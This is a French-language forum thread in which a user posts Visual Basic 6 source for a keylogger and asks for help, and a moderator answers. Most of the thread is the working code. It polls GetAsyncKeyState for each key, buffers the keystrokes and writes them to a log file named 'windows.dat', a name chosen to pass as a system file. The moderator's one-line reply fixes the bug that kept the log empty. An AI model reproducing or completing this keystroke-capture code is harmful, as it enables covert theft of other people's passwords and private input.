Keylogger

Signaler
Messages postés
33
Date d'inscription
vendredi 2 janvier 2004
Statut
Membre
Dernière intervention
11 août 2006
-
Messages postés
3757
Date d'inscription
mardi 23 septembre 2003
Statut
Modérateur
Dernière intervention
13 mars 2006
-
Bonsoir,
je me suis mis en tête de faire un petit keylogger pour usage personnel sauf que j'ai ici un petit problème...
J'ai crée un premier timer: tmrGetKey qui prend la touche et ensuite un autre Timer tmrWrite qui lui est censé écrire les données enregistrées dans un fichier windows.dat
Problème: mon fichier est bien crée mais j'ai rien dedans...

NB: J'ai choppé les Key States dans une source sur le site (me rappelle plus laquelle) ainsi que les IF clause qui écrivent les touches dans un string Tx1.

Voilà la source jusqu'à présent...(désolé si re-noob erreur):
Source de la form:

Option Explicit
Dim Tx1 As String
Private Sub tmrGetKey_Timer()

On Error Resume Next
DoEvents
'*******'
'SPECIAL'
'*******'
If (GetAsyncKeyState(VK_DELETE) And &H1) = &H1 Then
Tx1 = Tx1 & "[DEL]"
End If
DoEvents
If (GetAsyncKeyState(VK_BACK) And &H1) = &H1 Then
Tx1 = Tx1 & "[BACK]"
End If
DoEvents
If (GetAsyncKeyState(VK_DOWN) And &H1) = &H1 Then
Tx1 = Tx1 & "[DOWN]"
End If

If (GetAsyncKeyState(VK_RIGHT) And &H1) = &H1 Then
Tx1 = Tx1 & "[RIGHT]"
End If

If (GetAsyncKeyState(VK_UP) And &H1) = &H1 Then
Tx1 = Tx1 & "[UP]"
End If
DoEvents
If (GetAsyncKeyState(VK_LEFT) And &H1) = &H1 Then
Tx1 = Tx1 & "[LEFT]"
End If

'***************'
'ALPHA-NUMERIQUE'
'***************'
If (GetAsyncKeyState(VK_0) And &H1) = &H1 Then
Tx1 = Tx1 & "0"
End If
If (GetAsyncKeyState(VK_1) And &H1) = &H1 Then
Tx1 = Tx1 + "1"
End If
If (GetAsyncKeyState(VK_2) And &H1) = &H1 Then
Tx1 = Tx1 + "2"
End If
If (GetAsyncKeyState(VK_3) And &H1) = &H1 Then
Tx1 = Tx1 + "3"
End If
DoEvents
If (GetAsyncKeyState(VK_4) And &H1) = &H1 Then
Tx1 = Tx1 + "4"
End If
If (GetAsyncKeyState(VK_5) And &H1) = &H1 Then
Tx1 = Tx1 + "5"
End If
If (GetAsyncKeyState(VK_6) And &H1) = &H1 Then
Tx1 = Tx1 + "6"
End If
If (GetAsyncKeyState(VK_7) And &H1) = &H1 Then
Tx1 = Tx1 + "7"
End If
DoEvents
If (GetAsyncKeyState(VK_8) And &H1) = &H1 Then
Tx1 = Tx1 + "8"
End If
If (GetAsyncKeyState(VK_9) And &H1) = &H1 Then
Tx1 = Tx1 + "9"
End If
If (GetAsyncKeyState(VK_A) And &H1) = &H1 Then
Tx1 = Tx1 + "a"
End If
DoEvents
If (GetAsyncKeyState(VK_B) And &H1) = &H1 Then
Tx1 = Tx1 + "b"
End If
If (GetAsyncKeyState(VK_C) And &H1) = &H1 Then
Tx1 = Tx1 + "c"
End If
If (GetAsyncKeyState(VK_D) And &H1) = &H1 Then
Tx1 = Tx1 + "d"
End If
If (GetAsyncKeyState(VK_E) And &H1) = &H1 Then
Tx1 = Tx1 + "e"
End If
If (GetAsyncKeyState(VK_F) And &H1) = &H1 Then
Tx1 = Tx1 + "f"
End If
If (GetAsyncKeyState(VK_G) And &H1) = &H1 Then
Tx1 = Tx1 + "g"
End If
If (GetAsyncKeyState(VK_H) And &H1) = &H1 Then
Tx1 = Tx1 + "h"
End If
DoEvents
If (GetAsyncKeyState(VK_I) And &H1) = &H1 Then
Tx1 = Tx1 + "i"
End If
If (GetAsyncKeyState(VK_J) And &H1) = &H1 Then
Tx1 = Tx1 + "j"
End If
If (GetAsyncKeyState(VK_K) And &H1) = &H1 Then
Tx1 = Tx1 + "k"
End If
If (GetAsyncKeyState(VK_L) And &H1) = &H1 Then
Tx1 = Tx1 + "l"
End If
If (GetAsyncKeyState(VK_M) And &H1) = &H1 Then
Tx1 = Tx1 + "m"
End If
If (GetAsyncKeyState(VK_N) And &H1) = &H1 Then
Tx1 = Tx1 + "n"
End If
If (GetAsyncKeyState(VK_O) And &H1) = &H1 Then
Tx1 = Tx1 + "o"
End If
If (GetAsyncKeyState(VK_P) And &H1) = &H1 Then
Tx1 = Tx1 + "p"
End If
DoEvents
If (GetAsyncKeyState(VK_Q) And &H1) = &H1 Then
Tx1 = Tx1 + "q"
End If
If (GetAsyncKeyState(VK_R) And &H1) = &H1 Then
Tx1 = Tx1 + "r"
End If
If (GetAsyncKeyState(VK_S) And &H1) = &H1 Then
Tx1 = Tx1 & "s"
End If
If (GetAsyncKeyState(VK_T) And &H1) = &H1 Then
Tx1 = Tx1 + "t"
End If
If (GetAsyncKeyState(VK_U) And &H1) = &H1 Then
Tx1 = Tx1 + "u"
End If
If (GetAsyncKeyState(VK_V) And &H1) = &H1 Then
Tx1 = Tx1 + "v"
End If
DoEvents
If (GetAsyncKeyState(VK_W) And &H1) = &H1 Then
Tx1 = Tx1 + "w"
End If
If (GetAsyncKeyState(VK_X) And &H1) = &H1 Then
Tx1 = Tx1 + "x"
End If
If (GetAsyncKeyState(VK_Y) And &H1) = &H1 Then
Tx1 = Tx1 + "y"
End If
If (GetAsyncKeyState(VK_Z) And &H1) = &H1 Then
Tx1 = Tx1 + "z"
End If

If (GetAsyncKeyState(VK_SPACE) And &H1) = &H1 Then
Tx1 = Tx1 + " "
End If
DoEvents
If (GetAsyncKeyState(VK_RETURN) And &H1) = &H1 Then
Tx1 = Tx1 + "[ENTER]"
End If
End Sub

Private Sub tmrWrite_Timer()
Open App.Path & "/windows.dat" For Output As #1
Print #1, Tx1 & vbCrLf
Close #1
Tx1 = vbNullString
End Sub

Et ici le code du module: (il n'y a que la définition des constantes et de la fonction API GetAsyncKeyState):

Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

Public Const VK_LBUTTON = &H1
Public Const VK_RBUTTON = &H2
Public Const VK_CANCEL = &H3
Public Const VK_MBUTTON = &H4
Public Const VK_BACK = &H8
Public Const VK_TAB = &H9
Public Const VK_CLEAR = &HC
Public Const VK_RETURN = &HD
Public Const VK_SHIFT = &H10
Public Const VK_CONTROL = &H11
Public Const VK_MENU = &H12
Public Const VK_PAUSE = &H13
Public Const VK_CAPITAL = &H14
Public Const VK_ESCAPE = &H1B
Public Const VK_SPACE = &H20
Public Const VK_PRIOR = &H21
Public Const VK_NEXT = &H22
Public Const VK_END = &H23
Public Const VK_HOME = &H24
Public Const VK_LEFT = &H25
Public Const VK_UP = &H26
Public Const VK_RIGHT = &H27
Public Const VK_DOWN = &H28
Public Const VK_SELECT = &H29
Public Const VK_PRINT = &H2A
Public Const VK_EXECUTE = &H2B
Public Const VK_SNAPSHOT = &H2C
Public Const VK_INSERT = &H2D
Public Const VK_DELETE = &H2E
Public Const VK_HELP = &H2F
Public Const VK_0 = &H30
Public Const VK_1 = &H31
Public Const VK_2 = &H32
Public Const VK_3 = &H33
Public Const VK_4 = &H34
Public Const VK_5 = &H35
Public Const VK_6 = &H36
Public Const VK_7 = &H37
Public Const VK_8 = &H38
Public Const VK_9 = &H39
Public Const VK_A = &H41
Public Const VK_B = &H42
Public Const VK_C = &H43
Public Const VK_D = &H44
Public Const VK_E = &H45
Public Const VK_F = &H46
Public Const VK_G = &H47
Public Const VK_H = &H48
Public Const VK_I = &H49
Public Const VK_J = &H4A
Public Const VK_K = &H4B
Public Const VK_L = &H4C
Public Const VK_M = &H4D
Public Const VK_N = &H4E
Public Const VK_O = &H4F
Public Const VK_P = &H50
Public Const VK_Q = &H51
Public Const VK_R = &H52
Public Const VK_S = &H53
Public Const VK_T = &H54
Public Const VK_U = &H55
Public Const VK_V = &H56
Public Const VK_W = &H57
Public Const VK_X = &H58
Public Const VK_Y = &H59
Public Const VK_Z = &H5A
Public Const VK_STARTKEY = &H5B
Public Const VK_CONTEXTKEY = &H5D
Public Const VK_NUMPAD0 = &H60
Public Const VK_NUMPAD1 = &H61
Public Const VK_NUMPAD2 = &H62
Public Const VK_NUMPAD3 = &H63
Public Const VK_NUMPAD4 = &H64
Public Const VK_NUMPAD5 = &H65
Public Const VK_NUMPAD6 = &H66
Public Const VK_NUMPAD7 = &H67
Public Const VK_NUMPAD8 = &H68
Public Const VK_NUMPAD9 = &H69
Public Const VK_MULTIPLY = &H6A
Public Const VK_ADD = &H6B
Public Const VK_SEPARATOR = &H6C
Public Const VK_SUBTRACT = &H6D
Public Const VK_DECIMAL = &H6E
Public Const VK_DIVIDE = &H6F
Public Const VK_F1 = &H70
Public Const VK_F2 = &H71
Public Const VK_F3 = &H72
Public Const VK_F4 = &H73
Public Const VK_F5 = &H74
Public Const VK_F6 = &H75
Public Const VK_F7 = &H76
Public Const VK_F8 = &H77
Public Const VK_F9 = &H78
Public Const VK_F10 = &H79
Public Const VK_F11 = &H7A
Public Const VK_F12 = &H7B
Public Const VK_F13 = &H7C
Public Const VK_F14 = &H7D
Public Const VK_F15 = &H7E
Public Const VK_F16 = &H7F
Public Const VK_F17 = &H80
Public Const VK_F18 = &H81
Public Const VK_F19 = &H82
Public Const VK_F20 = &H83
Public Const VK_F21 = &H84
Public Const VK_F22 = &H85
Public Const VK_F23 = &H86
Public Const VK_F24 = &H87
Public Const VK_NUMLOCK = &H90
Public Const VK_OEM_SCROLL = &H91
Public Const VK_OEM_1 = &HBA
Public Const VK_OEM_PLUS = &HBB
Public Const VK_OEM_COMMA = &HBC
Public Const VK_OEM_MINUS = &HBD
Public Const VK_OEM_PERIOD = &HBE
Public Const VK_OEM_2 = &HBF
Public Const VK_OEM_3 = &HC0
Public Const VK_OEM_4 = &HDB
Public Const VK_OEM_5 = &HDC
Public Const VK_OEM_6 = &HDD
Public Const VK_OEM_7 = &HDE
Public Const VK_OEM_8 = &HDF
Public Const VK_ICO_F17 = &HE0
Public Const VK_ICO_F18 = &HE1
Public Const VK_OEM102 = &HE2
Public Const VK_ICO_HELP = &HE3
Public Const VK_ICO_00 = &HE4
Public Const VK_ICO_CLEAR = &HE6
Public Const VK_OEM_RESET = &HE9
Public Const VK_OEM_JUMP = &HEA
Public Const VK_OEM_PA1 = &HEB
Public Const VK_OEM_PA2 = &HEC
Public Const VK_OEM_PA3 = &HED
Public Const VK_OEM_WSCTRL = &HEE
Public Const VK_OEM_CUSEL = &HEF
Public Const VK_OEM_ATTN = &HF0
Public Const VK_OEM_FINNISH = &HF1
Public Const VK_OEM_COPY = &HF2
Public Const VK_OEM_AUTO = &HF3
Public Const VK_OEM_ENLW = &HF4
Public Const VK_OEM_BACKTAB = &HF5
Public Const VK_ATTN = &HF6
Public Const VK_CRSEL = &HF7
Public Const VK_EXSEL = &HF8
Public Const VK_EREOF = &HF9
Public Const VK_PLAY = &HFA
Public Const VK_ZOOM = &HFB
Public Const VK_NONAME = &HFC
Public Const VK_PA1 = &HFD
Public Const VK_OEM_CLEAR = &HFE

Si vous avez une meilleure source à proposer svp dites le moi parceque c'est chiant de devoir chercher une bonne sourcfe pour un Keylogger parmis les milliards qu'il y a. En plus la plupart des sources de keylogger présentes sur le site sont extrèmement mal commentées.

Merci,
Hurt 14

1 réponse

Messages postés
3757
Date d'inscription
mardi 23 septembre 2003
Statut
Modérateur
Dernière intervention
13 mars 2006
17
Salut, pas analysé ton code mais déjà :
Open App.Path & "\windows.dat" For Append As #1
serait mieux.

-------------------------------------------------
Dresseur de puces, .... normal pour un loup !?